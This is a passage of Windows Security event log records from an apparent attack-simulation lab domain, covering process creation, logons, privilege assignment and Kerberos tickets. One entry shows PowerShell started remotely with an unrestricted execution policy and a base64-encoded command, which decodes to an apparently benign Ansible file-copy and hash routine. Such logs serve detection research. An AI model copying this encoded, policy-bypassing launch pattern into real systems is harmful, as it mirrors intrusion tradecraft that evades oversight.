C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfa4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADIALgA5ADMAOQAxADQAOAAtADIANgAxADQANwA2ADkANAA5ADkAMAAzADUAMAA5AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251607 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfa4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADIALgA5ADMAOQAxADQAOAAtADIANgAxADQANwA2ADkANAA5ADkAMAAzADUAMAA5AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251606 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13C1BC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251605 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13C1BC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251604 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251603 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251602 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251601 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13C1A0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251600 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13C1A0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251599 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13C1A0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251598 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251597 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251596 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251595 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13ACF4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251594 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13BEBE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251593 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13BEBE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64540 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251592 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13BEBE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251591 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13BE38 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251590 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13BE38 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64539 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251589 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13BE38 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251588 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13BDBF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251587 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13BDBF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64538 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, 